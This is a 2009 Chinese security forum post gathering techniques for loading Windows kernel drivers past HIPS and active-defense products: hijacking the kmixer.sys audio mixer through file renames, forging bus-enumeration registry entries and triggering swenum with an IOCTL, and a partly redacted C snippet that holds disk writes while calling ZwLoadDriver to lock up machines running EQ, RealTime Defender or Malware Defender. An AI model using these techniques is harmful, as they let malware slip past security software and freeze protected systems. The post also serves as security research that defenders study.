点饭的百度空间
银牌会员
积分 2315
发帖 2236
注册 2007-11-30
|
#1 【Azy】过一切HIPS/主动防御AudioMixer劫持 BEIH/F:总线枚举接口劫持/伪造 锁死EQ
爆新技术 -- AM劫持
2009-05-30 01:15
通过本文所讲方法可实现穿越目前市场上已知的和未知的一切HIPS/主动防御
对于网吧的黑白名单防火墙还是不行,那个是终极变态了~~
killvxk
1.XX kmixer.sys
2.ren media文件夹
3.wait for unload,可以用NtQueryXXX来检查是否已经消失了
4.ren回去
5.调用一下media,用API可以实现
6.世界和谐
没过所有的墙,iopLoadDriver里有hook,某些恶劣的人会在DriverEntry里向后XX搜索那啥...
MJ0011
kmixer这个XX,我也很早就观察到了,大部分情况下,messagebox一下就能触发
Azy
如果用户在一段时间内无音频发声操作,那么确实直接叮一下就实现加载了,估计很多人也曾注意过这个现象
但如果用户有持续或间隙性的发声操作就不行了,那个ren操作才是这个问题的关键。
BEIH/F:总线枚举接口劫持/伪造
作者:Azy
日期:2009-5-31
如果说Audio Mixer劫持(AMH)是一种较为被动的穿越,那么BEIH/F则是主动的攻击。通过BEIH/F可以穿越地上HIPS/主动防御产品加载驱动。
该方法原理与amh是相同的,最后驱动的加载也是走ExpWorkerThread->PipDeviceActionWorker->IopLoadDriver这条路径,从而绕过了HIPS/主防产品的拦截。但触发攻击的方式完全不同。
OS中存在一些音频驱动,它们的Start=3,并且Enum键下的值均为0。这些驱动是在系统需要的时候动态枚举并安装总线接口,然后加载相应的驱动文件。
那么如何触发动态枚举安装接口并加载这些驱动呢?答案就是给swenum驱动发送一个特别的I/O Control Code来触发。在InputBuffer中填入欲加载驱动所在接口的GUID值,然后发I/O control Irp到swenum驱动,便可完成一次触发。内核在接到上述Irp后会扫描总线并动态进行接口安装,然后调用IoInvalidateDeviceRelations来触发最后的驱动安装。
由于这一过程完全是人为可控,并且总线枚举的GUID信息全部存储在注册表中,因此我们可以事先篡改仿造HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SW键及HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses下面对应的GUID值及其它接口信息。这样一来,便可成功完成一次BEIH/F攻击。
100行代码锁死--EQ魔法盾/RealTime Defender/Malware Defender
无聊而又劳累的5天终于过去了,庆祝一下 :) 五天没摸键盘 :(
下面这个代码只能锁死开启有EQ/RTD/MD保护的系统(未安装HIPS类系统当然正常),要锁其它的HIPS还要另外处理。
// By Azy
/已屏蔽/
handle = CreateFile("\\\\.\\C:", // drive to open
GENERIC_WRITE|GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL); // don't copy any file's attributes
if(handle == INVALID_HANDLE_VALUE)
{
printf("handle invalid! %d\n", GetLastError());
return - 1;
}
EnablePrivilege("SeLoadDriverPrivilege");
ZwLoadDriver = (PZWLOADDRIVER)GetProcAddress(hNtdll, "ZwLoadDriver");
RtlInitUnicodeString = (PRTLINITUNICODESTRING)GetProcAddress(hNtdll, "RtlInitUnicodeString");
RtlInitUnicodeString(&serviceNameUnicodeString, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\dmboot");
memset(&pp, 0, 0x18);
pp.HoldCounts = 1;
pp.FsTimerIntervalInSeconds = 0x8000;
pp.IrpsTimerIntervalInSenconds = 0x8000;
pp.a = i++;
result = DeviceIoControl(handle,
IOCTL_FLUSH_AND_HOLD_WRITES,
&pp,
0x18,
&pp,
0x18,
&i,
NULL);
status = ZwLoadDriver(&serviceNameUnicodeString);
DeviceIoControl(handle,
IOCTL_RELEASE_WRITES,
NULL,
0,
NULL,
0,
&i,
NULL);
return 0;
}
[ Last edited by Legend on 2009-6-1 at 10:24 ]
|
※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint |
|
|